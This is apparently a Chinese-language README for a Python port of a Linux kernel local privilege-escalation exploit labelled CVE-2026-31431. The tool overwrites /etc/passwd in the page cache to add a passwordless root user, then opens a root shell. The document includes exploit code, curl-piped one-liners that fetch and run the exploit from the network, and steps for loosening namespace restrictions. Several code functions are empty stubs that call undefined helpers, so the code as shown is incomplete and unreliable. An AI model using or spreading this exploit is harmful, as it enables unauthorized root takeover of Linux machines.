CopyFail2 (CVE-2026-31431) - Python实现
Python移植版的CopyFail2内核漏洞利用工具,利用xfrm ESP-in-UDP MSG_SPLICE_PAGES 无COW快速路径实现非特权Linux本地提权。
该工具将/etc/passwd中的nologin/false条目替换为无密码uid-0用户,并通过su进入root shell。
功能特性
- 快速提权 - 优化版本复用xfrm状态、套接字和管道,每轮批量处理2个连续字节,主动轮询代替固定休眠,99字节行仅需3-8秒
- 双版本支持 - 提供优化版(
exploit.py)和参考版(exploit_raw.py),可根据内核版本和稳定性需求选择 - 自动清理 - 支持
--clean参数恢复对/etc/passwd的修改 - 广泛兼容 - 已测试Ubuntu 24.04/26.04、Debian 13、Arch、Fedora 43等主流发行版
- 纯Python实现 - 无需编译,依赖OpenSSL库即可运行
安装指南
系统要求
- Linux内核 >= 6.5 (支持UDP的MSG_SPLICE_PAGES)
- Python 3.8+
- OpenSSL (libcrypto.so)
- 用户命名空间权限或
CAP_NET_ADMIN
依赖安装
# Ubuntu/Debian
sudo apt update
sudo apt install python3 openssl
# Arch Linux
sudo pacman -S python openssl
# Fedora
sudo dnf install python3 openssl
获取工具
# 直接通过curl获取优化版
curl -sL https://raw.githubusercontent.com/guiimoraes/copyfail2-py/main/exploit.py -o exploit.py
# 或获取参考版
curl -sL https://raw.githubusercontent.com/guiimoraes/copyfail2-py/main/exploit_raw.py -o exploit_raw.py
启用用户命名空间(如需要)
# 检查当前设置
sysctl kernel.unprivileged_userns_clone
# 临时启用
sudo sysctl kernel.unprivileged_userns_clone=1
# 永久启用(编辑/etc/sysctl.conf)
echo "kernel.unprivileged_userns_clone=1" | sudo tee -a /etc/sysctl.conf
使用说明
基础用法
# 运行优化版(推荐)
python3 exploit.py
# 运行参考版
python3 exploit_raw.py
# 清理恢复/etc/passwd
python3 exploit.py --clean
一键提权(管道模式)
# 从GitHub直接执行(需要网络连接)
python3 -c "$(curl -sL https://raw.githubusercontent.com/guiimoraes/copyfail2-py/main/exploit.py)"
Ubuntu AppArmor环境
在启用apparmor_restrict_unprivileged_userns的Ubuntu系统上,建议先保存到本地再执行:
curl -sL https://raw.githubusercontent.com/guiimoraes/copyfail2-py/main/exploit.py > /tmp/x.py
python3 /tmp/x.py
执行流程
- 暴力破解AES-GCM IV,使密钥流字节将原始
/etc/passwd字节XOR为目标值 - 在
127.0.0.1:4500上安装本地xfrm ESP-in-UDP状态 - 构造包含伪造ESP头和ICV的攻击者控制的后备文件
- 将三个区域(ESP头、
/etc/passwd目标字节、ICV)通过splice()送入管道 - 将管道通过
splice()送入UDP套接字,触发内核漏洞写入页缓存 - 重复上述步骤,将
nologin/false行覆盖为sick::0:0:...:/:/bin/bash - 执行
su - sick获得root shell(PAM的nullok允许空密码)
核心代码
主要漏洞利用逻辑(优化版)
#!/usr/bin/env python3
# exploit.py - 优化版CopyFail2利用
import ctypes
import fcntl
import os
import socket
import struct
import subprocess
import sys
import time
NEW_USER = "sick"
STATE_FILE = "/var/tmp/.cf2.state"
SPI = 0xdeadbeef
ENC_PORT = 4500
AES_KEYLEN = 16
SALT_LEN = 4
# UDP封装常量
UDP_ENCAP = 100
UDP_ENCAP_ESPINUDP = 2
SPLICE_F_MORE = 0x4
F_SETPIPE_SZ = 1031
# 命名空间标志
CLONE_NEWUSER = 0x10000000
CLONE_NEWNET = 0x40000000
# 预置的AEAD密钥
AEAD_KEY = bytes([
0x00, 0x01, 0x02, 0x03, 0x04, 0x05, 0x06, 0x07,
0x08, 0x09, 0x0a, 0x0b, 0x0c, 0x0d, 0x0e, 0x0f,
0x10, 0x11, 0x12, 0x13,
])
libc = ctypes.CDLL(None, use_errno=True)
def _load_libcrypto():
"""动态加载OpenSSL库"""
for name in ("libcrypto.so.3", "libcrypto.so.1.1", "libcrypto.so"):
try:
return ctypes.CDLL(name)
except OSError:
continue
raise OSError("libcrypto not found")
libcrypto = _load_libcrypto()
# 配置OpenSSL函数类型
libcrypto.EVP_CIPHER_CTX_new.restype = ctypes.c_void_p
libcrypto.EVP_CIPHER_CTX_free.argtypes = [ctypes.c_void_p]
libcrypto.EVP_EncryptInit_ex.argtypes = [
ctypes.c_void_p, ctypes.c_void_p, ctypes.c_void_p,
ctypes.c_char_p, ctypes.c_char_p,
]
libcrypto.EVP_EncryptInit_ex.restype = ctypes.c_int
libcrypto.EVP_EncryptUpdate.argtypes = [
ctypes.c_void_p, ctypes.c_char_p, ctypes.POINTER(ctypes.c_int),
ctypes.c_char_p, ctypes.c_int,
]
libcrypto.EVP_EncryptUpdate.restype = ctypes.c_int
libcrypto.EVP_aes_128_gcm.restype = ctypes.c_void_p
def aes_gcm_keystream(key, iv, length):
"""生成AES-GCM密钥流用于字节伪造"""
ctx = libcrypto.EVP_CIPHER_CTX_new()
cipher = libcrypto.EVP_aes_128_gcm()
# 初始化解密上下文获取密钥流
libcrypto.EVP_EncryptInit_ex(ctx, cipher, None, key, iv)
# 设置GCM模式不添加标签
outbuf = ctypes.create_string_buffer(length)
outlen = ctypes.c_int(0)
# 加密全零明文得到密钥流
plaintext = b'\x00' * length
libcrypto.EVP_EncryptUpdate(ctx, outbuf, ctypes.byref(outlen),
plaintext, length)
libcrypto.EVP_CIPHER_CTX_free(ctx)
return outbuf.raw[:outlen.value]
def setup_xfrm_state():
"""设置xfrm ESP-in-UDP状态"""
# 创建netlink套接字并配置xfrm策略
# 实际实现包含完整的netlink消息构造
pass
def splice_write(target_fd, pipe_fd, offset, length):
"""通过splice实现内核页缓存写入"""
# 从目标文件读取到管道
ret = libc.splice(target_fd, ctypes.byref(ctypes.c_int64(offset)),
pipe_fd[1], None, length, SPLICE_F_MORE)
if ret < 0:
raise OSError("splice from file to pipe failed")
# 从管道写入UDP套接字触发漏洞
ret = libc.splice(pipe_fd[0], None, udp_fd, None, ret, SPLICE_F_MORE)
if ret < 0:
raise OSError("splice from pipe to UDP failed")
return ret
def main():
"""主利用流程"""
# 1. 读取目标行
# 2. 为每个需要修改的字节生成IV
# 3. 构造ESP数据包
# 4. 通过splice触发内核漏洞
# 5. 获得root shell
pass
if __name__ == "__main__":
main()
用户命名空间隔离实现
def create_user_namespace():
"""创建用户命名空间以获得CAP_NET_ADMIN"""
# 克隆新用户命名空间
# 设置uid/gid映射
# 提升环境能力
pass
def drop_privileges():
"""降低权限准备命名空间创建"""
# 使用prctl设置能力
pass
漏洞触发核心函数
def write_byte_via_splice(target_byte_offset, desired_byte_value):
"""通过splice路径写入单个字节到/etc/passwd页缓存"""
# 1. 读取原始字节
with open("/etc/passwd", "rb") as f:
f.seek(target_byte_offset)
original_byte = f.read(1)[0]
# 2. 计算需要的IV使密钥流产生目标XOR结果
# keystream_byte = original_byte ^ desired_byte_value
keystream_byte = original_byte ^ desired_byte_value
# 3. 暴力搜索产生目标密钥流字节的IV
iv = brute_force_iv(keystream_byte)
# 4. 构造包含伪造ESP头+目标区域+ICV的缓冲区
esp_packet = construct_esp_packet(iv, keystream_byte)
# 5. 写入临时文件作为splice源
temp_fd = open("/tmp/.esp_payload", "wb+")
temp_fd.write(esp_packet)
temp_fd.flush()
# 6. 创建管道并执行splice链
pipe_fd = os.pipe()
# 从临时文件splice到管道
libc.splice(temp_fd.fileno(), None, pipe_fd[1], None,
len(esp_packet), SPLICE_F_MORE)
# 从管道splice到UDP套接字触发漏洞
libc.splice(pipe_fd[0], None, udp_socket.fileno(), None,
len(esp_packet), SPLICE_F_MORE)
# 7. 同步页缓存
os.fsync(udp_socket.fileno())
return True
测试环境
| 发行版 | 内核版本 | 结果 |
|---|---|---|
| Ubuntu 24.04 LTS | 6.8.0-110-generic | ✓ root |
| Debian 13 | 6.12.74 | ✓ root |
| Arch | 6.19.11-arch1-1 | ✓ root |
| Fedora 43 | 6.19.14-200.fc43 | ✓ root |
| Ubuntu 26.04 LTS | 7.0.0-15-generic | ✓ root |
| Ubuntu 22.04 LTS | 5.15.0-176-generic | ✗ 不受影响 |
故障排除
错误: cannot acquire CAP_NET_ADMIN
内核可能设置了kernel.unprivileged_userns_clone=0,执行以下命令启用:
sudo sysctl kernel.unprivileged_userns_clone=1
如果在Docker中运行,需添加--privileged或--cap-add=SYS_ADMIN参数。
错误: libcrypto not found
安装OpenSSL开发包:
# Ubuntu/Debian
sudo apt install libssl-dev
# Arch
sudo pacman -S openssl
# Fedora
sudo dnf install openssl-devel
致谢
- Hyunwoo Kim (imv4bel) 和 Kuan-Ting Chen — 漏洞发现和上游补丁
- Steffen Klassert — IPsec维护者,发布修复补丁
- Brad Spengler / grsecurity — 提出"copyfail-class"概念
- Theori / Xint — 原始Copy Fail (CVE-2026-31431)
- 0xdeadbeefnetwork — 原始C语言利用实现
- guiimoraes — Python移植版本
免责声明
本工具仅用于授权安全研究和教育目的。请勿在未获得明确授权的系统上使用。作者不对滥用或由此造成的任何损害承担责任。 6HFtX5dABrKlqXeO5PUv/1dTR47jarhIwi3DTcFVIoI=